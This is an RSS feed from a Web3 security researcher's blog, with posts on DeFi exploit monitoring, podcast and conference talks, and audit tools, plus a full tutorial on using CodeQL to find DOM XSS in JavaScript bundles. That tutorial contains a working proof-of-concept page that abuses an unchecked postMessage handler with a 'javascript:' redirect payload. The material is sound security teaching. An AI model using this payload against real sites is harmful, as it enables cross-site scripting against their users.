<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Raz0r — Web3 Security</title>
	<atom:link href="http://raz0r.name/feed/" rel="self" type="application/rss+xml" />
	<link>https://raz0r.name</link>
	<description>Web3 Security</description>
	<lastBuildDate>Fri, 24 Apr 2026 08:53:14 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://raz0r.name/wp-content/uploads/2019/02/avatar33548_400x400-150x150.jpg</url>
	<title>Raz0r — Web3 Security</title>
	<link>https://raz0r.name</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How We Detect DeFi Exploits in Under One Second</title>
		<link>https://raz0r.name/articles/how-we-detect-defi-exploits-in-under-one-second/</link>
					<comments>https://raz0r.name/articles/how-we-detect-defi-exploits-in-under-one-second/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Fri, 24 Apr 2026 08:53:12 +0000</pubDate>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[defi]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1321</guid>

					<description><![CDATA[<p>Shared some insights on how @DefimonAlerts works under the hood on the @Quicknode blog.</p>
The post <a href="https://raz0r.name/articles/how-we-detect-defi-exploits-in-under-one-second/">How We Detect DeFi Exploits in Under One Second</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Shared some insights on how <a href="https://x.com/DefimonAlerts">@DefimonAlerts</a> works under the hood on the <a href="https://x.com/Quicknode">@Quicknode</a> blog.</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">New on the Quicknode blog: <a href="https://twitter.com/DecurityHQ?ref_src=twsrc%5Etfw">@DecurityHQ</a>&#39;s CTO on how Streams let them rebuild Defimon from polling to push, cut block latency from 2s to under 0.5s, and scale exploit detection across 8 chains with one engineer running the pipeline.<a href="https://t.co/qMXiJ8f7EN">https://t.co/qMXiJ8f7EN</a></p>&mdash; Quicknode (@Quicknode) <a href="https://twitter.com/Quicknode/status/2047314708873757041?ref_src=twsrc%5Etfw">April 23, 2026</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div></figure>The post <a href="https://raz0r.name/articles/how-we-detect-defi-exploits-in-under-one-second/">How We Detect DeFi Exploits in Under One Second</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/articles/how-we-detect-defi-exploits-in-under-one-second/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Keeping hackers out of your DeFi wallet</title>
		<link>https://raz0r.name/talks/keeping-hackers-out-of-your-defi-wallet/</link>
					<comments>https://raz0r.name/talks/keeping-hackers-out-of-your-defi-wallet/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Tue, 10 Jun 2025 08:55:26 +0000</pubDate>
				<category><![CDATA[Talks]]></category>
		<category><![CDATA[defi]]></category>
		<category><![CDATA[podcast]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1316</guid>

					<description><![CDATA[<p>Took part in the latest episode of the Unseen Money podcast with Paul Amery and Timur Yunusov to discuss the current state of DeFi security. Tune in!</p>
The post <a href="https://raz0r.name/talks/keeping-hackers-out-of-your-defi-wallet/">Keeping hackers out of your DeFi wallet</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Took part in the latest episode of the <a href="https://x.com/newmoneyreview" target="_blank" rel="noopener" title="">Unseen Money</a> podcast with Paul Amery and Timur Yunusov to discuss the current state of DeFi security. Tune in!<br></p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<div class="embed-twitter"><blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">The decentralised finance (<a href="https://twitter.com/hashtag/DeFi?src=hash&amp;ref_src=twsrc%5Etfw">#DeFi</a>) market is booming—but the world’s best hackers are on the prowl for new ways to steal your crypto tokens.<br><br>Listen to Arseny Reutov (<a href="https://twitter.com/theRaz0r?ref_src=twsrc%5Etfw">@theRaz0r</a>) of <a href="https://twitter.com/DecurityHQ?ref_src=twsrc%5Etfw">@decurityhq</a> in the latest episode of <a href="https://twitter.com/hashtag/UnseenMoney?src=hash&amp;ref_src=twsrc%5Etfw">#UnseenMoney</a> from <a href="https://twitter.com/newmoneyreview?ref_src=twsrc%5Etfw">@newmoneyreview</a> <a href="https://t.co/25ZCo7ri96">https://t.co/25ZCo7ri96</a></p>&mdash; New Money Review (@newmoneyreview) <a href="https://twitter.com/newmoneyreview/status/1932088409574830452?ref_src=twsrc%5Etfw">June 9, 2025</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
</div></figure>The post <a href="https://raz0r.name/talks/keeping-hackers-out-of-your-defi-wallet/">Keeping hackers out of your DeFi wallet</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/talks/keeping-hackers-out-of-your-defi-wallet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>New tool: tx-coverage</title>
		<link>https://raz0r.name/releases/new-tool-tx-coverage/</link>
					<comments>https://raz0r.name/releases/new-tool-tx-coverage/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Tue, 07 May 2024 11:25:04 +0000</pubDate>
				<category><![CDATA[Releases]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[solidity]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1276</guid>

					<description><![CDATA[<p>Finished a weekend project that may be useful for onchain vulnerability analysis of deployed smart contracts: https://github.com/Decurity/tx-coverage tx-coverage allows to reveal unused code of live smart contracts by collecting coverage from historical transactions. With it you can discover code that was never executed onchain and may contain potential bugs.</p>
The post <a href="https://raz0r.name/releases/new-tool-tx-coverage/">New tool: tx-coverage</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Finished a weekend project that may be useful for onchain vulnerability analysis of deployed smart contracts:</p>



<p><a href="https://github.com/Decurity/tx-coverage">https://github.com/Decurity/tx-coverage</a></p>



<p>tx-coverage allows to reveal unused code of live smart contracts by collecting coverage from historical transactions. </p>



<p>With it you can discover code that was never executed onchain and may contain potential bugs.</p>



<p></p>The post <a href="https://raz0r.name/releases/new-tool-tx-coverage/">New tool: tx-coverage</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/releases/new-tool-tx-coverage/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Building scalable monitoring infrastructure from scratch</title>
		<link>https://raz0r.name/talks/building-scalable-monitoring-infrastructure-from-scratch/</link>
					<comments>https://raz0r.name/talks/building-scalable-monitoring-infrastructure-from-scratch/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Sat, 02 Dec 2023 12:36:05 +0000</pubDate>
				<category><![CDATA[Talks]]></category>
		<category><![CDATA[defi]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[trustx]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1266</guid>

					<description><![CDATA[<p>In this talk we will share our experience of creating a transaction monitoring solution for the EVM-compatible networks. Starting from a standalone Rust application that queries the blockchain RPCs, and ending with a scalable solution that can handle thousands of transactions per second, we will cover all the steps that will explain how to catch the DeFi exploits before they happen. The technology stack is based on Apache Flink, a popular framework to perform stateful computations on streaming data. We believe it hasn't found yet widespread usage in the blockchain security, while it has solid capabilities to process the transactions, logs, traces and all the available on-chain information in real-time. We will also share a set of detection rules that can be used to spot potential exploits, as well as the techniques to prevent attacks on the DeFi protocols. And of course we will share our experience of running this solution in production for the last months, starting from findings and ending with the operation costs and lessons learned.</p>
The post <a href="https://raz0r.name/talks/building-scalable-monitoring-infrastructure-from-scratch/">Building scalable monitoring infrastructure from scratch</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Video and slides from my talk at <a href="https://www.secureum.xyz/trustx/" target="_blank" rel="noopener" title="">TrustX</a> 2023 in Istanbul about how we built <a href="https://defimon.xyz" target="_blank" rel="noopener" title="">https://defimon.xyz</a></p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Building scalable monitoring infrastructure from scratch" width="500" height="281" src="https://www.youtube.com/embed/XtdMLP6EuwI?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<figure class="wp-block-embed is-type-rich is-provider-speaker-deck wp-block-embed-speaker-deck wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Building scalable monitoring infrastructure from scratch" id="talk_frame_1115370" class="speakerdeck-iframe" src="//speakerdeck.com/player/d9995cfcf2844a68884be90ceda33fc9" width="500" height="281" style="aspect-ratio:500/281; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen"></iframe>
</div></figure>The post <a href="https://raz0r.name/talks/building-scalable-monitoring-infrastructure-from-scratch/">Building scalable monitoring infrastructure from scratch</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/talks/building-scalable-monitoring-infrastructure-from-scratch/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Upgradeable smart contracts security</title>
		<link>https://raz0r.name/talks/upgradeable-smart-contracts-security/</link>
					<comments>https://raz0r.name/talks/upgradeable-smart-contracts-security/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Wed, 19 Oct 2022 08:51:35 +0000</pubDate>
				<category><![CDATA[Talks]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[smart contracts]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1196</guid>

					<description><![CDATA[<p>Slides &#38; video from my talk about the security of proxies in smart contracts at OFFZONE 2022</p>
The post <a href="https://raz0r.name/talks/upgradeable-smart-contracts-security/">Upgradeable smart contracts security</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Slides &amp; video from my talk about the security of proxies in smart contracts at OFFZONE 2022</p>



<figure class="wp-block-embed is-type-rich is-provider-speaker-deck wp-block-embed-speaker-deck wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Upgradeable smart contracts security" id="talk_frame_939259" class="speakerdeck-iframe" src="//speakerdeck.com/player/6e0b51b588d54df485bd72ff9cf48953" width="500" height="281" style="aspect-ratio:500/281; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen"></iframe>
</div></figure>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Арсений Реутов. Безопасность upgradeable смарт контрактов" width="500" height="281" src="https://www.youtube.com/embed/-QJtu-MKcD8?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>The post <a href="https://raz0r.name/talks/upgradeable-smart-contracts-security/">Upgradeable smart contracts security</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/talks/upgradeable-smart-contracts-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Сушите вёсла #20</title>
		<link>https://raz0r.name/talks/dry-podcast-20/</link>
					<comments>https://raz0r.name/talks/dry-podcast-20/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Tue, 12 Jul 2022 09:39:51 +0000</pubDate>
				<category><![CDATA[Talks]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[smart contracts]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1182</guid>

					<description><![CDATA[<p>Принял участие в новом эпизоде подкаста &#8220;Сушите вёсла&#8221;, посвященном блокчейну, смарт-контрактам и их безопасности. Приятного прослушивания!</p>
The post <a href="https://raz0r.name/talks/dry-podcast-20/">Сушите вёсла #20</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>Принял участие в новом эпизоде подкаста <a href="https://dry.mave.digital/" target="_blank" rel="noreferrer noopener">&#8220;Сушите вёсла&#8221;</a>, посвященном блокчейну, смарт-контрактам и их безопасности. Приятного прослушивания!</p>



<iframe src="https://embed.podcasts.apple.com/us/podcast/%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D0%BA%D0%BE%D0%BD-2022-%D1%8D%D0%BF%D0%B8%D0%B7%D0%BE%D0%B4-20/id1466243923?i=1000569639283&amp;itsct=podcast_box_player&amp;itscg=30200&amp;ls=1&amp;theme=auto" height="175px" frameborder="0" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation-by-user-activation" allow="autoplay *; encrypted-media *; clipboard-write" style="width: 100%; max-width: 660px !important; overflow: hidden; border-radius: 10px; background: transparent; display:block !important; margin: auto !important;"></iframe>The post <a href="https://raz0r.name/talks/dry-podcast-20/">Сушите вёсла #20</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/talks/dry-podcast-20/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>contract-diff: find bugs in smart contract forks</title>
		<link>https://raz0r.name/releases/contract-diff/</link>
					<comments>https://raz0r.name/releases/contract-diff/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Wed, 16 Feb 2022 17:46:45 +0000</pubDate>
				<category><![CDATA[Releases]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[smart contracts]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1165</guid>

					<description><![CDATA[<p>There has been plenty of hacks when a smart contract was forked and some things were changed without full understanding of the code. To help auditors I have built https://contract-diff.xyz This is how it works &#x1f9f5; For popular contracts like OpenZeppelin, Uniswap, Sushiswap, etc two kinds of hashes were computed: md5 hashsums &#38; simhashes. Using [&#8230;]</p>
The post <a href="https://raz0r.name/releases/contract-diff/">contract-diff: find bugs in smart contract forks</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>There has been plenty of hacks when a smart contract was forked and some things were changed without full understanding of the code.</p>



<p>To help auditors I have built <a href="https://contract-diff.xyz">https://contract-diff.xyz</a></p>



<p>This is how it works <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f5.png" alt="🧵" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>For popular contracts like OpenZeppelin, Uniswap, Sushiswap, etc two kinds of hashes were computed: md5 hashsums &amp; simhashes. Using hashsums we can find exact matches of contract sources. With simhashes  it is possible to find contracts that are very similar to each other.</p>



<p>EtherScan does not verify the integrity of the included libs. With <a href="https://contract-diff.xyz">https://contract-diff.xyz</a> you can quickly figure out which versions of libs are actually used. If a hashsum is not found in the database, but there is a contract with a similar simhash you will see a diff view.</p>



<p>One example is Uranium hack which was a fork of Uniswap v2:</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
https://twitter.com/RektHQ/status/1387399124090294276
</div></figure>



<p>Here you can see that there were mostly renamings but also an important change to the logic which led to $57,000,000 loss:</p>



<p><a href="https://www.contract-diff.xyz/?address=0xa08c4571b395f81fbd3755d44eaf9a25c9399a4a&amp;chain=1">https://www.contract-diff.xyz/?address=0xa08c4571b395f81fbd3755d44eaf9a25c9399a4a&amp;chain=1</a></p>



<figure class="wp-block-image"><img decoding="async" src="https://pbs.twimg.com/media/FLu4WLxXEAkzftt.jpg" alt=""/></figure>



<p>I am planning to add more chains (currently only Ethereum mainnet &amp; BSC) as well as support more contract flatenners (they are really weird). Will appreciate any feedback. Cheers!</p>



<p><em>Originally tweeted by Raz0r (<a href="https://twitter.com/theRaz0r">@theRaz0r</a>) on <a href="https://twitter.com/theRaz0r/status/1493993400978354179">16 February 2022</a>.</em></p>The post <a href="https://raz0r.name/releases/contract-diff/">contract-diff: find bugs in smart contract forks</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/releases/contract-diff/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Безопасность web3: уязвимости на стыке блокчейна и веб-технологий</title>
		<link>https://raz0r.name/talks/web3-security/</link>
					<comments>https://raz0r.name/talks/web3-security/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Thu, 10 Feb 2022 10:04:19 +0000</pubDate>
				<category><![CDATA[Talks]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web3]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1160</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Безопасность web3: уязвимости на стыке блокчейна и веб-технологий &#x2728;Арсений Реутов" width="500" height="281" src="https://www.youtube.com/embed/J4tZHDyM7rA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<figure class="wp-block-embed is-type-rich is-provider-speaker-deck wp-block-embed-speaker-deck wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Безопасность web3: уязвимости на стыке блокчейна и веб-технологий" id="talk_frame_829793" class="speakerdeck-iframe" src="//speakerdeck.com/player/e90536f392a848f28b9a5de34895aafc" width="500" height="281" style="aspect-ratio:500/281; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen"></iframe>
</div></figure>The post <a href="https://raz0r.name/talks/web3-security/">Безопасность web3: уязвимости на стыке блокчейна и веб-технологий</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/talks/web3-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Using CodeQL to detect client-side vulnerabilities in web applications</title>
		<link>https://raz0r.name/articles/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications/</link>
					<comments>https://raz0r.name/articles/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Thu, 23 Sep 2021 09:38:44 +0000</pubDate>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[codeql]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1148</guid>

					<description><![CDATA[<p>GitHub’s CodeQL is a robust query language originally developed by Semmle that allows you to look for vulnerabilities in the source code. CodeQL is known as a tool to inspect open source repositories, however its usage is not limited just to it. In this article I will delve into approaches on how to use CodeQL [&#8230;]</p>
The post <a href="https://raz0r.name/articles/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications/">Using CodeQL to detect client-side vulnerabilities in web applications</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>GitHub’s CodeQL is a robust query language originally developed by Semmle that allows you to look for vulnerabilities in the source code. CodeQL is known as a tool to inspect open source repositories, however its usage is not limited just to it. In this article I will delve into approaches on how to use CodeQL for web application audits, specifically to discover client-side vulnerabilities.</p>



<p>The idea of CodeQL is to treat source code as a database which can be queried using SQL-like statements. There are lots of languages supported among which is JavaScript. For JavaScript both server-side and client-side flavours are supported. JS CodeQL understands modern editions such as ES6 as well as frameworks like React (with JSX) and Angular.</p>



<p>CodeQL is not just grep as it supports taint tracking which allows you to test if a given user input (a source) can reach a vulnerable function (a sink). This is especially useful when dealing with DOM-based Cross Site Scripting vulnerabilities. By tainting a user-supplied DOM property such as location.hash one can test if this value actually reaches one of the XSS sinks, e.g. document.innerHTML or document.write().</p>



<span id="more-1148"></span>



<p>The common use-case for CodeQL is to run a query suite against open-source code repositories. To do so you may install CodeQL locally or use <a href="https://lgtm.com/">https://lgtm.com/</a>. For the latter case you should specify a GitHub repository URL and add it as your project. If a repository is popular enough you will get a list of alerts as somebody already attempted to use CodeQL on it. You may also run your own queries to find something that is not covered by LGTM default query suite. However, CodeQL can be used not just to scan repositories, but also to find bugs on any website on the internet.</p>



<p>Popular web vulnerability scanners like Burp Suite have built-in JavaScript analyzers which scan any JS file found on the website to discover client-side vulnerabilities, primarily DOM XSS. Although they produce some meaningful results, subtle bugs stay under the radar. This is where CodeQL comes into play, it can complement JS source code analysis in any security assessment.</p>



<p>Modern web applications tend to shift business logic from the server to the client. Typically the whole application can be found in a single JS file compiled with bundlers like webpack. In order to scan such bundles with CodeQL it is necessary to perform the following steps. Firstly, all the JS links should be gathered and downloaded. For this task one can use <a href="https://github.com/lc/subjs">subjs</a> to find JS links and then <a href="https://github.com/tomnomnom/meg">meg</a> or just wget to download all of them. After that one needs to build a CodeQL database from the gathered files using the command:</p>



<pre class="wp-block-preformatted">codeql database create example.com --language=javascript</pre>



<p>After the database is built it is time to launch the actual scanning:</p>



<pre class="wp-block-preformatted">codeql database analyze example.com javascript-lgtm.qls --format=sarif-latest --output=results.sarif</pre>



<p>This command uses default LGTM.com’s query suite (javascript-lgtm.qls) and saves the results in Sarif format which can be later loaded in VSCode with the help of <a href="https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer">Sarif Viewer</a> extension.</p>



<p>If you analyze bundles produced by webpack, the number of issues may be overwhelming for manual review. That is why it is always better to analyze unminified source code instead. When building with webpack, one may choose to include source mappings which can ease the debugging. With the source mappings it is possible to recover the original code. Web browsers automatically detect, fetch and interpret source mappings:</p>



<p><img loading="lazy" decoding="async" width="624" height="253" src="https://lh5.googleusercontent.com/QlMnTEQYK829k7F09vtHzUTUdZmugu9nQvxyDTNuuxxxK4K0_SnZuiyvM0t3sdE3F0UFHMW1WpMTTlBxVJltA8XS-Ask41v1dECZFy7o_JR9nNVnINLUpjHM8V8ZgvYZxdgoef95=s0"></p>



<p>However, it is not possible to save unpacked source code from a browser, so we will have to use a special tool called <a href="https://github.com/rarecoil/unwebpack-sourcemap">unwebpack-sourcemap</a>. With it the procedure is as easy as:</p>



<pre class="wp-block-preformatted">./unwebpack_sourcemap.py --detect https://example.com/auth/login example.com
</pre>



<p>After building and analyzing CodeQL database once again we can observe that the number of findings is much fewer and the results are significantly more relevant.</p>



<p><img loading="lazy" decoding="async" width="624" height="125" src="https://lh5.googleusercontent.com/PdANXWPmV3Km5MM_Xr6B4Gqhp-3CYtejRIDy0PE40UWOyyDiuAtd4Kb0Gve13DuF2RGB8AvDH6s1M9vfCWr9ia_UHM97n24VaUESkgR-CZQScKml3k_MNw2uSiZb_uFEWqV3fFIB=s0"></p>



<p>CodeQL allows you to look for not only vulnerabilities but also code quality issues that might present a security risk after a manual review. Here is an example of such an issue that resulted in a DOM XSS on a popular website found with the help of CodeQL.</p>



<p>After an initial scanning the following finding looked interesting:</p>



<p><img loading="lazy" decoding="async" width="624" height="144" src="https://lh4.googleusercontent.com/73Dqn-J7fns0LsjgpApvEiwVI2mQQ84zhEODt0MYZ_U22B-1v3D4N7YTOQ7PWNSDj_Tk_IXuU_NktbEeWu8Tab8Sm2m7-ftYtlQwfMODZwbsOeIu5HAM09KVLrUp7QcKmhbDiqWJ=s0"></p>



<p>Looking at the source code we see that the function isCompanyDomain() is called with origin argument inside receivePostMessage() function:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-javascript" data-line="">export const receivePostMessage = (e = {}) =&gt; {
    const { origin, data } = e;
    if (isCompanyDomain(origin)) {
        return data;
    }
    return null;
};</code></pre>



<p>Let’s have a look at isCompanyDomain() function:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-javascript" data-line="">const isCompanyDomain = () =&gt; true;</code></pre>



<p>Now we understand why CodeQL reported this piece of code: it ignores origin argument and always returns true. The code looks like a security check, so it might be a bypass, let’s find all the occurrences of  receivePostMessage() calls with the following CodeQL query:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-python" data-line="">import javascript

from InvokeExpr call
where
  call.getCalleeName() = &quot;receivePostMessage&quot;
select call</code></pre>



<p>This gives us the following result:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-javascript" data-line="">handleSsoPopupMessage = (e) =&gt; {
        const messageObj = receivePostMessage.call(this, e);
        if (messageObj) {
            const { message, props } = messageObj;
            switch (message) {
            case &#039;SSO_ACTION_SUCCESS&#039;:
                this.trackSuccess({
                    method: props.oauthProvider,
                    action: props.action,
                    eventCallback: () =&gt; redirect(props.redirectUri),
                });
                break;
            }
        }
    };</code></pre>



<p>As you can see the function handleSsoPopupMessage() is a postMessage event handler which supposedly should be protected with isCompanyDomain() checking the origin of the message. However it always returns true which looks like a technical debt of the frontend developers. Message handlers are a common source of DOM-based XSS vulnerabilities if left unprotected from external interaction. This is the case as the user-supplied argument redirectUri is passed into the redirect() function which effectively leads to an XSS using a payload with javascript: scheme. The PoC looks as follows:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-markup" data-line="">&lt;a href=&quot;#&quot; onclick=&quot;xss()&quot;&gt;click me&lt;/a&gt;
&lt;script&gt;
  function xss() {
    var win = window.open(&#039;https://example.com/auth/login&#039;, &#039;_blank&#039;);
    setTimeout(function() {
      win.postMessage({
        &#039;message&#039;: &#039;SSO_ACTION_SUCCESS&#039;,
        &quot;props&quot;: {
          &quot;oauthProvider&quot;: &quot;test&quot;,
          &quot;action&quot;: &quot;test&quot;,
          &quot;redirectUri&quot;: &quot;javascript:alert(document.location)&quot;
        }
      }, &quot;*&quot;);
    }, 5000);
  }
&lt;/script&gt;</code></pre>



<p>CodeQL can complement existing source code analysis tools, for instance Burp Suite’s built-in JS analyzer. However, the real value of CodeQL is that it allows you to create custom checks that can be run on each JS code bundle found on a website. Please keep in mind that if you are not conducting academic research, CodeQL license requires permission from a web site owner. I strongly recommend giving a try to <a href="https://securitylab.github.com/ctf/jquery">GitHub Security Lab CTF 3</a> to understand how to leverage CodeQL potential in web application assessments. I also suggest installing <a href="https://help.semmle.com/codeql/codeql-cli.html">CodeQL CLI</a> locally as well as <a href="https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql">VSCode extension</a> for faster on-boarding and a more convenient access to the tool.</p>



<p>An audit of large code bases always involves automated tools, especially in the area of web applications. With the business logic shifting towards client-side, CodeQL offers an effective approach to spot vulnerabilities in JavaScript bundles using the customized queries. Hope this tutorial will make CodeQL a part of your web application assessment routine.</p>The post <a href="https://raz0r.name/articles/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications/">Using CodeQL to detect client-side vulnerabilities in web applications</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/articles/using-codeql-to-detect-client-side-vulnerabilities-in-web-applications/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DeFi Hack solutions: DiscoLP</title>
		<link>https://raz0r.name/writeups/defi-hack-solutions-discolp/</link>
					<comments>https://raz0r.name/writeups/defi-hack-solutions-discolp/#respond</comments>
		
		<dc:creator><![CDATA[Raz0r]]></dc:creator>
		<pubDate>Fri, 18 Jun 2021 09:58:51 +0000</pubDate>
				<category><![CDATA[Writeups]]></category>
